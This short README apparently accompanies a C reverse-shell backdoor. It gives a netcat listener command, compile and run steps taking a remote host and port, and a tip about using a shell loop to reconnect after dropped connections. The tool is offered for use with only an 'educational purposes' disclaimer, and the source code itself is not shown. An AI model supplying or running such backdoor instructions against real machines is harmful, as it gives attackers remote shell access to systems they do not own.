This is a simple C backdoor that connects to a remote host (server) and execute /bin/sh on the local host and redirecting it to the remote host, this is often called "reverse shell".
You can use netcat for this purpose:
nc -l 1500
Compile the code
$ cc -o main main.c
run the executable with the required arguments
$ ./main [RHOST] [RPORT]
then from the listener/remote host, you can run remote commands directly to the shell.
You have to set a listener before running the code on the local host, and if the connection got disconnected it will not reconnect, but you can get around that with a shell loop.
I am not responsible for any troubles you get in for using this code, It is provided for educational purposes (aka don't screw up).
